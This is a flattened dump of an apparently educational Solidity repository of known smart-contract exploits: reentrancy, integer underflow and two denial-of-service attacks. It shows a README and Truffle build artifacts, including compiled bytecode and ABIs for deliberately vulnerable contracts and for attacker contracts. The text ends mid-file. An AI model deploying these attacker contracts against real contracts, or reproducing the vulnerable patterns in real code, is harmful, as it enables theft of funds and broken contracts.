├── .DS_Store ├── README.md ├── build └── contracts │ ├── Auction.json │ ├── AuctionAttacker.json │ ├── Bank.json │ ├── DoSRevertAttacker.json │ ├── IntOverflow.json │ ├── IntUnderflow.json │ ├── Migrations.json │ ├── Payments.json │ ├── Reentrance.json │ ├── ReentranceAttacker.json │ ├── Reentrancy.json │ └── ReentrancyAttacker.json ├── contracts ├── DoSBlockGasLimit │ └── Bank.sol ├── DoSRevert │ ├── Auction.sol │ └── AuctionAttacker.sol ├── IntUnderflow │ └── IntUnderflow.sol ├── Migrations.sol └── Reentrance │ ├── Reentrance.sol │ └── ReentranceAttacker.sol ├── migrations ├── 1_initial_migration.js └── 2_deploy_contracts.js ├── test ├── dosgaslimit.js ├── dosrevert.js ├── intunderflow.js └── reentrancy.js └── truffle.js /.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nvonpentz/solidity-exploits/89e01b41f43e43f828850763b063bc2032c35f84/.DS_Store -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # solidity-exploits 2 | Full examples of known solidity exploits outlined in the Consensys best practices document. 3 | 4 | ## Completed 5 | * Reentrance 6 | * Integer underflow 7 | * DoS with unexpected revert 8 | * DoS with block gas limit 9 | 10 | See the contracts and tests for more information about how the attack works. 11 | 12 | ## To Do 13 | * Transaction-ordering dependence (TOD) / front running 14 | * Timestamp dependence -------------------------------------------------------------------------------- /build/contracts/Auction.json: -------------------------------------------------------------------------------- 1 | { 2 | "contract_name": "Auction", 3 | "abi": [ 4 | { 5 | "constant": false, 6 | "inputs": [], 7 | "name": "bid", 8 | "outputs": [], 9 | "payable": true, 10 | "type": "function" 11 | }, 12 | { 13 | "constant": true, 14 | "inputs": [], 15 | "name": "getHighestBid", 16 | "outputs": [ 17 | { 18 | "name": "", 19 | "type": "uint256" 20 | } 21 | ], 22 | "payable": false, 23 | "type": "function" 24 | }, 25 | { 26 | "constant": true, 27 | "inputs": [], 28 | "name": "getCurrentLeader", 29 | "outputs": [ 30 | { 31 | "name": "", 32 | "type": "address" 33 | } 34 | ], 35 | "payable": false, 36 | "type": "function" 37 | }, 38 | { 39 | "inputs": [], 40 | "payable": false, 41 | "type": "constructor" 42 | } 43 | ], 44 | "unlinked_binary": "0x6060604052341561000f57600080fd5b5b5b5b61019e806100216000396000f300606060405263ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631998aeef81146100535780634979440a1461005d578063e868ba7014610082575b600080fd5b61005b6100be565b005b341561006857600080fd5b61007061014e565b60405190815260200160405180910390f35b341561008d57600080fd5b610095610155565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b60015434116100cc57600080fd5b60005460015473ffffffffffffffffffffffffffffffffffffffff9091169080156108fc0290604051600060405180830381858888f19350505050151561011257600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff19163373ffffffffffffffffffffffffffffffffffffffff16179055346001555b565b6001545b90565b60005473ffffffffffffffffffffffffffffffffffffffff165b905600a165627a7a7230582014ce7e56ff96f223293c5643b5fa0bfa03ee1e0af9fb90fe43747c09558ada5c0029", 45 | "networks": { 46 | "1508204233737": { 47 | "events": {}, 48 | "links": {}, 49 | "address": "0x188a22a39c6dba67ead20af70b13faf5425a3ed3", 50 | "updated_at": 1508207027800 51 | }, 52 | "1508213742694": { 53 | "events": {}, 54 | "links": {}, 55 | "address": "0x1f4187af46c09b364cc1ab127fc736a83b175ae4", 56 | "updated_at": 1508215094647 57 | } 58 | }, 59 | "schema_version": "0.0.5", 60 | "updated_at": 1508215094647 61 | } -------------------------------------------------------------------------------- /build/contracts/AuctionAttacker.json: -------------------------------------------------------------------------------- 1 | { 2 | "contract_name": "AuctionAttacker", 3 | "abi": [ 4 | { 5 | "constant": false, 6 | "inputs": [ 7 | { 8 | "name": "addr", 9 | "type": "address" 10 | } 11 | ], 12 | "name": "bidExternal", 13 | "outputs": [], 14 | "payable": true, 15 | "type": "function" 16 | } 17 | ], 18 | "unlinked_binary": "0x6060604052341561000f57600080fd5b5b6101068061001f6000396000f300606060405263ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663f41e4f1d8114603c575b600080fd5b605b73ffffffffffffffffffffffffffffffffffffffff60043516605d565b005b8073ffffffffffffffffffffffffffffffffffffffff8116631998aeef620186a0346040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016000604051808303818589803b151560c457600080fd5b88f1151560d057600080fd5b50505050505b50505600a165627a7a7230582055326857c999a06d6da41313bca731cac53a03f1146da492c5d4afc01f524c180029", 19 | "networks": { 20 | "1508204233737": { 21 | "events": {}, 22 | "links": {}, 23 | "address": "0x41b3516fc31c37bdce7d39f07a7b622ea75e3f8a", 24 | "updated_at": 1508207027800 25 | }, 26 | "1508213742694": { 27 | "events": {}, 28 | "links": {}, 29 | "address": "0xb424a0c8637d667389b568220ebe23deee37d95b", 30 | "updated_at": 1508215094647 31 | } 32 | }, 33 | "schema_version": "0.0.5", 34 | "updated_at": 1508215094647 35 | } -------------------------------------------------------------------------------- /build/contracts/Bank.json: -------------------------------------------------------------------------------- 1 | { 2 | "contract_name": "Bank", 3 | "abi": [ 4 | { 5 | "constant": true, 6 | "inputs": [], 7 | "name": "payer", 8 | "outputs": [ 9 | { 10 | "name": "", 11 | "type": "address" 12 | } 13 | ], 14 | "payable": false, 15 | "type": "function" 16 | }, 17 | { 18 | "constant": true, 19 | "inputs": [ 20 | { 21 | "name": "", 22 | "type": "address" 23 | } 24 | ], 25 | "name": "balances", 26 | "outputs": [ 27 | { 28 | "name": "", 29 | "type": "uint256" 30 | } 31 | ], 32 | "payable": false, 33 | "type": "function" 34 | }, 35 | { 36 | "constant": true, 37 | "inputs": [], 38 | "name": "getNumberOfAccounts", 39 | "outputs": [ 40 | { 41 | "name": "", 42 | "type": "uint256" 43 | } 44 | ], 45 | "payable": false, 46 | "type": "function" 47 | }, 48 | { 49 | "constant": true, 50 | "inputs": [ 51 | { 52 | "name": "", 53 | "type": "uint256" 54 | } 55 | ], 56 | "name": "addressesToRefund", 57 | "outputs": [ 58 | { 59 | "name": "", 60 | "type": "address" 61 | } 62 | ], 63 | "payable": false, 64 | "type": "function" 65 | }, 66 | { 67 | "constant": false, 68 | "inputs": [], 69 | "name": "signUp", 70 | "outputs": [], 71 | "payable": true, 72 | "type": "function" 73 | }, 74 | { 75 | "constant": false, 76 | "inputs": [], 77 | "name": "cashOutEveryone", 78 | "outputs": [], 79 | "payable": true, 80 | "type": "function" 81 | }, 82 | { 83 | "inputs": [], 84 | "payable": true, 85 | "type": "constructor" 86 | } 87 | ], 88 | "unlinked_binary": "0x60606040525b60018054600160a060020a03191633600160a060020a03169081178255600090815260208190526040902034905560028054909181016100458382610078565b916000526020600020900160005b8154600160a060020a033381166101009390930a92830292021916179055505b6100c3565b81548183558181151161009c5760008381526020902061009c9181019083016100a2565b5b505050565b6100c091905b808211156100bc57600081556001016100a8565b5090565b90565b610262806100d26000396000f300606060405236156100755763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663123119cd811461007a57806327e235e3146100a9578063309e36ef146100da5780633bc5489c146100ff578063bf96ae6314610131578063fda13a4e1461013b575b600080fd5b341561008557600080fd5b61008d610145565b604051600160a060020a03909116815260200160405180910390f35b34156100b457600080fd5b6100c8600160a060020a0360043516610154565b60405190815260200160405180910390f35b34156100e557600080fd5b6100c8610166565b60405190815260200160405180910390f35b341561010a57600080fd5b61008d60043561016d565b604051600160a060020a03909116815260200160405180910390f35b61013961019f565b005b6101396101bd565b005b600154600160a060020a031681565b60006020819052908152604090205481565b6002545b90565b600280548290811061017b57fe5b906000526020600020900160005b915054906101000a9004600160a060020a031681565b600160a060020a03331660009081526020819052604090203490555b565b60015460009033600160a060020a039081169116146101db57600080fd5b5060005b60025481101561023257600160a060020a033316600081815260208190526040908190205480156108fc029151600060405180830381858888f19350505050151561022957600080fd5b5b6001016101df565b5b505600a165627a7a723058207e01cd3d53c4a311bd7177e084b32a776451547d70531215cd974344bb6040960029", 89 | "networks": { 90 | "1508213742694": { 91 | "events": {}, 92 | "links": {}, 93 | "address": "0x33b36202a3d1d9d6a05910afa38038d527b287f4", 94 | "updated_at": 1508215094647 95 | } 96 | }, 97 | "schema_version": "0.0.5", 98 | "updated_at": 1508215094647 99 | } -------------------------------------------------------------------------------- /build/contracts/DoSRevertAttacker.json: -------------------------------------------------------------------------------- 1 | { 2 | "contract_name": "DoSRevertAttacker", 3 | "abi": [ 4 | { 5 | "constant": false, 6 | "inputs": [ 7 | { 8 | "name": "addr", 9 | "type": "address" 10 | } 11 | ], 12 | "name": "bidExternal", 13 | "outputs": [], 14 | "payable": true, 15 | "type": "function" 16 | } 17 | ], 18 | "unlinked_binary": "0x6060604052341561000f57600080fd5b5b6101068061001f6000396000f300606060405263ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663f41e4f1d8114603c575b600080fd5b605b73ffffffffffffffffffffffffffffffffffffffff60043516605d565b005b8073ffffffffffffffffffffffffffffffffffffffff8116631998aeef620186a0346040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016000604051808303818589803b151560c457600080fd5b88f1151560d057600080fd5b50505050505b50505600a165627a7a72305820eeab8503106e2b322a2ff4514bcb0d0268d276f9be6bd7348989227e1a7343a50029", 19 | "networks": {}, 20 | "schema_version": "0.0.5", 21 | "updated_at": 1508206976418 22 | } -------------------------------------------------------------------------------- /build/contracts/IntOverflow.json: -------------------------------------------------------------------------------- 1 | { 2 | "contract_name": "IntOverflow", 3 | "abi": [ 4 | { 5 | "constant": false, 6 | "inputs": [], 7 | "name": "upvote", 8 | "outputs": [], 9 | "payable": false, 10 | "type": "function" 11 | }, 12 | { 13 | "constant": false, 14 | "inputs": [], 15 | "name": "downvote", 16 | "outputs": [], 17 | "payable": false, 18 | "type": "function" 19 | }, 20 | { 21 | "constant": true, 22 | "inputs": [], 23 | "name": "reputation", 24 | "outputs": [ 25 | { 26 | "name": "", 27 | "type": "uint32" 28 | } 29 | ], 30 | "payable": false, 31 | "type": "function" 32 | }, 33 | { 34 | "constant": true, 35 | "inputs": [], 36 | "name": "getReputation", 37 | "outputs": [ 38 | { 39 | "name": "", 40 | "type": "uint32" 41 | } 42 | ], 43 | "payable": false, 44 | "type": "function" 45 | }, 46 | { 47 | "inputs": [], 48 | "payable": false, 49 | "type": "constructor" 50 | } 51 | ], 52 | "unlinked_binary": "0x6060604052341561000f57600080fd5b5b6000805463ffffffff191690555b5b6101658061002e6000396000f300606060405263ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166392d7727c811461005e578063a8df84df14610073578063c52164c614610088578063ffe6a18e146100b4575b600080fd5b341561006957600080fd5b6100716100e0565b005b341561007e57600080fd5b6100716100ff565b005b341561009357600080fd5b61009b610120565b60405163ffffffff909116815260200160405180910390f35b34156100bf57600080fd5b61009b61012c565b60405163ffffffff909116815260200160405180910390f35b6000805463ffffffff8082166001011663ffffffff199091161790555b565b6000805463ffffffff19811663ffffffff918216600019019091161790555b565b60005463ffffffff1681565b60005463ffffffff165b905600a165627a7a723058209e544988a00cbcc4e71639120d50cab57d6fc3fe837b6473f8f30ede845bf1ed0029", 53 | "networks": {}, 54 | "schema_version": "0.0.5", 55 | "updated_at": 1508205037136 56 | } -------------------------------------------------------------------------------- /build/contracts/IntUnderflow.json: -------------------------------------------------------------------------------- 1 | { 2 | "contract_name": "IntUnderflow", 3 | "abi": [ 4 | { 5 | "constant": false, 6 | "inputs": [], 7 | "name": "upvote", 8 | "outputs": [], 9 | "payable": false, 10 | "type": "function" 11 | }, 12 | { 13 | "constant": false, 14 | "inputs": [], 15 | "name": "downvote", 16 | "outputs": [], 17 | "payable": false, 18 | "type": "function" 19 | }, 20 | { 21 | "constant": true, 22 | "inputs": [], 23 | "name": "reputation", 24 | "outputs": [ 25 | { 26 | "name": "", 27 | "type": "uint32" 28 | } 29 | ], 30 | "payable": false, 31 | "type": "function" 32 | }, 33 | { 34 | "constant": true, 35 | "inputs": [], 36 | "name": "getReputation", 37 | "outputs": [ 38 | { 39 | "name": "", 40 | "type": "uint32" 41 | } 42 | ], 43 | "payable": false, 44 | "type": "function" 45 | }, 46 | { 47 | "inputs": [], 48 | "payable": false, 49 | "type": "constructor" 50 | } 51 | ], 52 | "unlinked_binary": "0x6060604052341561000f57600080fd5b5b6000805463ffffffff191690555b5b6101658061002e6000396000f300606060405263ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166392d7727c811461005e578063a8df84df14610073578063c52164c614610088578063ffe6a18e146100b4575b600080fd5b341561006957600080fd5b6100716100e0565b005b341561007e57600080fd5b6100716100ff565b005b341561009357600080fd5b61009b610120565b60405163ffffffff909116815260200160405180910390f35b34156100bf57600080fd5b61009b61012c565b60405163ffffffff909116815260200160405180910390f35b6000805463ffffffff8082166001011663ffffffff199091161790555b565b6000805463ffffffff19811663ffffffff918216600019019091161790555b565b60005463ffffffff1681565b60005463ffffffff165b905600a165627a7a72305820ed189623d8b62816873c22296136c0fccd5a07aefb25a04e3d1ca501ced204d20029", 53 | "networks": { 54 | "1508204233737": { 55 | "events": {}, 56 | "links": {}, 57 | "address": "0x8617e14abf978880eec876a020667b2f3e2da7c2", 58 | "updated_at": 1508207027800 59 | }, 60 | "1508213742694": { 61 | "events": {}, 62 | "links": {}, 63 | "address": "0x65d584fbb5d4535a4a973877dadf4d4418404e1b", 64 | "updated_at": 1508215094647 65 | } 66 | }, 67 | "schema_version": "0.0.5", 68 | "updated_at": 1508215094647 69 | } -------------------------------------------------------------------------------- /build/contracts/Migrations.json: -------------------------------------------------------------------------------- 1 | { 2 | "contract_name": "Migrations", 3 | "abi": [ 4 | { 5 | "constant": false, 6 | "inputs": [ 7 | { 8 | "name": "new_address", 9 | "type": "address" 10 | } 11 | ], 12 | "name": "upgrade", 13 | "outputs": [], 14 | "payable": false, 15 | "type": "function" 16 | }, 17 | { 18 | "constant": true, 19 | "inputs": [], 20 | "name": "last_completed_migration", 21 | "outputs": [ 22 | { 23 | "name": "", 24 | "type": "uint256" 25 | } 26 | ], 27 | "payable": false, 28 | "type": "function" 29 | }, 30 | { 31 | "constant": true, 32 | "inputs": [], 33 | "name": "owner", 34 | "outputs": [ 35 | { 36 | "name": "", 37 | "type": "address" 38 | } 39 | ], 40 | "payable": false, 41 | "type": "function" 42 | }, 43 | { 44 | "constant": false, 45 | "inputs": [ 46 | { 47 | "name": "completed", 48 | "type": "uint256" 49 | } 50 | ], 51 | "name": "setCompleted", 52 | "outputs": [], 53 | "payable": false, 54 | "type": "function" 55 | }, 56 | { 57 | "inputs": [], 58 | "payable": false, 59 | "type": "constructor" 60 | } 61 | ], 62 | "unlinked_binary": "0x6060604052341561000f57600080fd5b5b60008054600160a060020a03191633600160a060020a03161790555b5b6101e58061003c6000396000f300606060405263ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630900f010811461005e578063445df0ac1461007f5780638da5cb5b146100a4578063fdacd576146100d3575b600080fd5b341561006957600080fd5b61007d600160a060020a03600435166100eb565b005b341561008a57600080fd5b610092610182565b60405190815260200160405180910390f35b34156100af57600080fd5b6100b7610188565b604051600160a060020a03909116815260200160405180910390f35b34156100de57600080fd5b61007d600435610197565b005b6000805433600160a060020a039081169116141561017c5781905080600160a060020a031663fdacd5766001546040517c010000000000000000000000000000000000000000000000000000000063ffffffff84160281526004810191909152602401600060405180830381600087803b151561016757600080fd5b6102c65a03f1151561017857600080fd5b5050505b5b5b5050565b60015481565b600054600160a060020a031681565b60005433600160a060020a03908116911614156101b45760018190555b5b5b505600a165627a7a72305820aa039f02f6e9b603ad8ac53da16c9af71ae80be327fb39c12a6bd9240d80dd960029", 63 | "networks": { 64 | "1507842379920": { 65 | "events": {}, 66 | "links": {}, 67 | "address": "0x3c31666a0c01af189ad80603083f89b0e96a621d", 68 | "updated_at": 1507848109653 69 | }, 70 | "1507846877398": { 71 | "events": {}, 72 | "links": {}, 73 | "address": "0x87e6e68643b662b4c69b89d7518d6e2082754820", 74 | "updated_at": 1507847677168 75 | }, 76 | "1507849899578": { 77 | "events": {}, 78 | "links": {}, 79 | "address": "0xb7db1b191ce169e535c828c7e44978e7d81cade7", 80 | "updated_at": 1507914336118 81 | }, 82 | "1507915907854": { 83 | "events": {}, 84 | "links": {}, 85 | "address": "0x3c422de0295d9710a8c7343df51887caed6bcccf", 86 | "updated_at": 1507920090097 87 | }, 88 | "1507920427379": { 89 | "events": {}, 90 | "links": {}, 91 | "address": "0x3c422de0295d9710a8c7343df51887caed6bcccf", 92 | "updated_at": 1507920438082 93 | }, 94 | "1507920673468": { 95 | "events": {}, 96 | "links": {}, 97 | "address": "0x3c422de0295d9710a8c7343df51887caed6bcccf", 98 | "updated_at": 1507920689572 99 | }, 100 | "1507920891614": { 101 | "events": {}, 102 | "links": {}, 103 | "address": "0x3c422de0295d9710a8c7343df51887caed6bcccf", 104 | "updated_at": 1507920904977 105 | }, 106 | "1507921350059": { 107 | "events": {}, 108 | "links": {}, 109 | "address": "0xf22d9fec7ccfd12a9517e35428828376490b7dbf", 110 | "updated_at": 1507921715686 111 | }, 112 | "1507921820502": { 113 | "events": {}, 114 | "links": {}, 115 | "address": "0x3c422de0295d9710a8c7343df51887caed6bcccf", 116 | "updated_at": 1507921835145 117 | }, 118 | "1507922060809": { 119 | "events": {}, 120 | "links": {}, 121 | "address": "0x41412182d6bfbc59dc07dc4b1aa288806bb8a227", 122 | "updated_at": 1507922202906 123 | }, 124 | "1507922360003": { 125 | "events": {}, 126 | "links": {}, 127 | "address": "0x3c422de0295d9710a8c7343df51887caed6bcccf", 128 | "updated_at": 1507922413206 129 | }, 130 | "1507922504755": { 131 | "events": {}, 132 | "links": {}, 133 | "address": "0x3c422de0295d9710a8c7343df51887caed6bcccf", 134 | "updated_at": 1507922518707 135 | }, 136 | "1507923973596": { 137 | "events": {}, 138 | "links": {}, 139 | "address": "0x3c422de0295d9710a8c7343df51887caed6bcccf", 140 | "updated_at": 1507923993334 141 | }, 142 | "1507924412769": { 143 | "events": {}, 144 | "links": {}, 145 | "address": "0x84a54c8024e8202cfcfde9e10810c2f4106997ce", 146 | "updated_at": 1507924887783 147 | }, 148 | "1507925341723": { 149 | "events": {}, 150 | "links": {}, 151 | "address": "0x3c422de0295d9710a8c7343df51887caed6bcccf", 152 | "updated_at": 1507925354823 153 | }, 154 | "1507925428348": { 155 | "events": {}, 156 | "links": {}, 157 | "address": "0x3c422de0295d9710a8c7343df51887caed6bcccf", 158 | "updated_at": 1507925438892 159 | }, 160 | "1507926212147": { 161 | "events": {}, 162 | "links": {}, 163 | "address": "0xcc1e0ba6564d5c47af9a72836e36d0ee28b035a3", 164 | "updated_at": 1507927671855 165 | }, 166 | "1507998951487": { 167 | "events": {}, 168 | "links": {}, 169 | "address": "0xed7d858d7ad458e50f9c866820065f058da96c09", 170 | "updated_at": 1508004206084 171 | }, 172 | "1508090721253": { 173 | "events": {}, 174 | "links": {}, 175 | "address": "0x3c422de0295d9710a8c7343df51887caed6bcccf", 176 | "updated_at": 1508093403083 177 | }, 178 | "1508204233737": { 179 | "events": {}, 180 | "links": {}, 181 | "address": "0x2bc2f1539bc5cab7673ac82d525b7902511de2cf", 182 | "updated_at": 1508207027800 183 | }, 184 | "1508213742694": { 185 | "events": {}, 186 | "links": {}, 187 | "address": "0xd1452e2a9398db630d5388c26139aea8d45862cd", 188 | "updated_at": 1508215094647 189 | } 190 | }, 191 | "schema_version": "0.0.5", 192 | "updated_at": 1508215094647 193 | } -------------------------------------------------------------------------------- /build/contracts/Payments.json: -------------------------------------------------------------------------------- 1 | { 2 | "contract_name": "Payments", 3 | "abi": [ 4 | { 5 | "constant": true, 6 | "inputs": [], 7 | "name": "payer", 8 | "outputs": [ 9 | { 10 | "name": "", 11 | "type": "address" 12 | } 13 | ], 14 | "payable": false, 15 | "type": "function" 16 | }, 17 | { 18 | "constant": true, 19 | "inputs": [ 20 | { 21 | "name": "", 22 | "type": "address" 23 | } 24 | ], 25 | "name": "balances", 26 | "outputs": [ 27 | { 28 | "name": "", 29 | "type": "uint256" 30 | } 31 | ], 32 | "payable": false, 33 | "type": "function" 34 | }, 35 | { 36 | "constant": true, 37 | "inputs": [], 38 | "name": "getNumberOfAccounts", 39 | "outputs": [ 40 | { 41 | "name": "", 42 | "type": "uint256" 43 | } 44 | ], 45 | "payable": false, 46 | "type": "function" 47 | }, 48 | { 49 | "constant": true, 50 | "inputs": [ 51 | { 52 | "name": "", 53 | "type": "uint256" 54 | } 55 | ], 56 | "name": "addressesToRefund", 57 | "outputs": [ 58 | { 59 | "name": "", 60 | "type": "address" 61 | } 62 | ], 63 | "payable": false, 64 | "type": "function" 65 | }, 66 | { 67 | "constant": false, 68 | "inputs": [ 69 | { 70 | "name": "addr", 71 | "type": "address" 72 | } 73 | ], 74 | "name": "signUp", 75 | "outputs": [], 76 | "payable": true, 77 | "type": "function" 78 | }, 79 | { 80 | "constant": false, 81 | "inputs": [], 82 | "name": "cashOutEveryone", 83 | "outputs": [], 84 | "payable": true, 85 | "type": "function" 86 | }, 87 | { 88 | "inputs": [], 89 | "payable": true, 90 | "type": "constructor" 91 | } 92 | ], 93 | "unlinked_binary": "0x60606040525b60018054600160a060020a03191633600160a060020a03169081178255600090815260208190526040902034905560028054909181016100458382610078565b916000526020600020900160005b8154600160a060020a033381166101009390930a92830292021916179055505b6100c3565b81548183558181151161009c5760008381526020902061009c9181019083016100a2565b5b505050565b6100c091905b808211156100bc57600081556001016100a8565b5090565b90565b61026f806100d26000396000f300606060405236156100755763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663123119cd811461007a57806327e235e3146100a9578063309e36ef146100da5780633bc5489c146100ff578063cb9429b514610131578063fda13a4e14610147575b600080fd5b341561008557600080fd5b61008d610151565b604051600160a060020a03909116815260200160405180910390f35b34156100b457600080fd5b6100c8600160a060020a0360043516610160565b60405190815260200160405180910390f35b34156100e557600080fd5b6100c8610172565b60405190815260200160405180910390f35b341561010a57600080fd5b61008d600435610179565b604051600160a060020a03909116815260200160405180910390f35b610145600160a060020a03600435166101ab565b005b6101456101ca565b005b600154600160a060020a031681565b60006020819052908152604090205481565b6002545b90565b600280548290811061018757fe5b906000526020600020900160005b915054906101000a9004600160a060020a031681565b600160a060020a03811660009081526020819052604090203490555b50565b60015460009033600160a060020a039081169116146101e857600080fd5b5060005b6002548110156101c757600160a060020a033316600081815260208190526040908190205480156108fc029151600060405180830381858888f19350505050151561023657600080fd5b5b6001016101ec565b5b505600a165627a7a7230582033345ccf978d74ea3052425e75fc97046cf3c30d91c888bc4e864356375864880029", 94 | "networks": {}, 95 | "schema_version": "0.0.5", 96 | "updated_at": 1508214543715 97 | } -------------------------------------------------------------------------------- /build/contracts/Reentrance.json: -------------------------------------------------------------------------------- 1 | { 2 | "contract_name": "Reentrance", 3 | "abi": [ 4 | { 5 | "constant": true, 6 | "inputs": [], 7 | "name": "getBalance", 8 | "outputs": [ 9 | { 10 | "name": "", 11 | "type": "uint256" 12 | } 13 | ], 14 | "payable": false, 15 | "type": "function" 16 | }, 17 | { 18 | "constant": false, 19 | "inputs": [], 20 | "name": "withdraw", 21 | "outputs": [], 22 | "payable": false, 23 | "type": "function" 24 | }, 25 | { 26 | "constant": true, 27 | "inputs": [ 28 | { 29 | "name": "", 30 | "type": "address" 31 | } 32 | ], 33 | "name": "shares", 34 | "outputs": [ 35 | { 36 | "name": "", 37 | "type": "uint256" 38 | } 39 | ], 40 | "payable": false, 41 | "type": "function" 42 | }, 43 | { 44 | "constant": false, 45 | "inputs": [], 46 | "name": "deposit", 47 | "outputs": [], 48 | "payable": true, 49 | "type": "function" 50 | }, 51 | { 52 | "inputs": [], 53 | "payable": true, 54 | "type": "constructor" 55 | } 56 | ], 57 | "unlinked_binary": "0x60606040525b600160a060020a03331660009081526020819052604090208054340190555b5b6101d4806100346000396000f300606060405263ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166312065fe0811461005e5780633ccfd60b14610083578063ce7c2ac214610098578063d0e30db0146100d6575b600080fd5b341561006957600080fd5b6100716100e0565b60405190815260200160405180910390f35b341561008e57600080fd5b6100966100fc565b005b34156100a357600080fd5b61007173ffffffffffffffffffffffffffffffffffffffff60043516610168565b60405190815260200160405180910390f35b61009661017a565b005b73ffffffffffffffffffffffffffffffffffffffff3016315b90565b73ffffffffffffffffffffffffffffffffffffffff33166000818152602081905260409081902054919082905160006040518083038185876187965a03f150505073ffffffffffffffffffffffffffffffffffffffff3316600090815260208190526040812055505b50565b60006020819052908152604090205481565b73ffffffffffffffffffffffffffffffffffffffff331660009081526020819052604090208054340190555b5600a165627a7a7230582003ffec8806a702c115d8b916779fa70727b016747c4634a83740cf156b0661f90029", 58 | "networks": { 59 | "1507842379920": { 60 | "events": {}, 61 | "links": {}, 62 | "address": "0x77bba9bca0ee1fc9bceb94a8d475bcf65c14546b", 63 | "updated_at": 1507848109653 64 | }, 65 | "1507846877398": { 66 | "events": {}, 67 | "links": {}, 68 | "address": "0x84a54c8024e8202cfcfde9e10810c2f4106997ce", 69 | "updated_at": 1507847677168 70 | }, 71 | "1507849899578": { 72 | "events": {}, 73 | "links": {}, 74 | "address": "0xeb15e02af04c5043c192a05aad3e4b0f9ab933e6", 75 | "updated_at": 1507914336118 76 | }, 77 | "1507915907854": { 78 | "events": {}, 79 | "links": {}, 80 | "address": "0xfb30f1d15c8df91950bb26d03dc08b6b526687d8", 81 | "updated_at": 1507920090097 82 | }, 83 | "1507920427379": { 84 | "events": {}, 85 | "links": {}, 86 | "address": "0xfb30f1d15c8df91950bb26d03dc08b6b526687d8", 87 | "updated_at": 1507920438082 88 | }, 89 | "1507920673468": { 90 | "events": {}, 91 | "links": {}, 92 | "address": "0xfb30f1d15c8df91950bb26d03dc08b6b526687d8", 93 | "updated_at": 1507920689571 94 | }, 95 | "1507920891614": { 96 | "events": {}, 97 | "links": {}, 98 | "address": "0xfb30f1d15c8df91950bb26d03dc08b6b526687d8", 99 | "updated_at": 1507920904976 100 | }, 101 | "1507921350059": { 102 | "events": {}, 103 | "links": {}, 104 | "address": "0x41412182d6bfbc59dc07dc4b1aa288806bb8a227", 105 | "updated_at": 1507921715685 106 | }, 107 | "1507921820502": { 108 | "events": {}, 109 | "links": {}, 110 | "address": "0xfb30f1d15c8df91950bb26d03dc08b6b526687d8", 111 | "updated_at": 1507921835145 112 | }, 113 | "1507922060809": { 114 | "events": {}, 115 | "links": {}, 116 | "address": "0xb87cae062ca7fe0d1ec7898e1f3e9ef8afcbe900", 117 | "updated_at": 1507922202906 118 | }, 119 | "1507922360003": { 120 | "events": {}, 121 | "links": {}, 122 | "address": "0xfb30f1d15c8df91950bb26d03dc08b6b526687d8", 123 | "updated_at": 1507922413206 124 | }, 125 | "1507922504755": { 126 | "events": {}, 127 | "links": {}, 128 | "address": "0xfb30f1d15c8df91950bb26d03dc08b6b526687d8", 129 | "updated_at": 1507922518706 130 | }, 131 | "1507923973596": { 132 | "events": {}, 133 | "links": {}, 134 | "address": "0xfb30f1d15c8df91950bb26d03dc08b6b526687d8", 135 | "updated_at": 1507923993333 136 | }, 137 | "1507924412769": { 138 | "events": {}, 139 | "links": {}, 140 | "address": "0x037f81dda8a23fc41458eb9943af623cf18c637c", 141 | "updated_at": 1507924887782 142 | }, 143 | "1507925341723": { 144 | "events": {}, 145 | "links": {}, 146 | "address": "0xfb30f1d15c8df91950bb26d03dc08b6b526687d8", 147 | "updated_at": 1507925354822 148 | }, 149 | "1507925428348": { 150 | "events": {}, 151 | "links": {}, 152 | "address": "0xfb30f1d15c8df91950bb26d03dc08b6b526687d8", 153 | "updated_at": 1507925438891 154 | }, 155 | "1507926212147": { 156 | "events": {}, 157 | "links": {}, 158 | "address": "0x45ea55b469f18abd89f5c9b3e2029df486dc9a56", 159 | "updated_at": 1507927671855 160 | }, 161 | "1507998951487": { 162 | "events": {}, 163 | "links": {}, 164 | "address": "0x056c10b751b7156dccda4e9341aa628b0defacfc", 165 | "updated_at": 1508004206084 166 | }, 167 | "1508090721253": { 168 | "events": {}, 169 | "links": {}, 170 | "address": "0xfb30f1d15c8df91950bb26d03dc08b6b526687d8", 171 | "updated_at": 1508093403083 172 | }, 173 | "1508204233737": { 174 | "events": {}, 175 | "links": {}, 176 | "address": "0x2711762bd48b948dcf1099c6827c2013ca61960c", 177 | "updated_at": 1508207027799 178 | }, 179 | "1508213742694": { 180 | "events": {}, 181 | "links": {}, 182 | "address": "0x07b17c7d5704ddd2302524b0c412382225b5caa2", 183 | "updated_at": 1508215094646 184 | } 185 | }, 186 | "schema_version": "0.0.5", 187 | "updated_at": 1508215094646 188 | } -------------------------------------------------------------------------------- /build/contracts/ReentranceAttacker.json: -------------------------------------------------------------------------------- 1 | { 2 | "contract_name": "ReentranceAttacker", 3 | "abi": [ 4 | { 5 | "constant": true, 6 | "inputs": [], 7 | "name": "getBalance", 8 | "outputs": [ 9 | { 10 | "name": "", 11 | "type": "uint256" 12 | } 13 | ], 14 | "payable": false, 15 | "type": "function" 16 | }, 17 | { 18 | "constant": false, 19 | "inputs": [ 20 | { 21 | "name": "reentranceAddress", 22 | "type": "address" 23 | } 24 | ], 25 | "name": "depositToExternal", 26 | "outputs": [], 27 | "payable": true, 28 | "type": "function" 29 | }, 30 | { 31 | "constant": false, 32 | "inputs": [ 33 | { 34 | "name": "reentranceAddress", 35 | "type": "address" 36 | } 37 | ], 38 | "name": "withdrawFromExternal", 39 | "outputs": [], 40 | "payable": true, 41 | "type": "function" 42 | }, 43 | { 44 | "inputs": [], 45 | "payable": false, 46 | "type": "constructor" 47 | }, 48 | { 49 | "payable": true, 50 | "type": "fallback" 51 | } 52 | ], 53 | "unlinked_binary": 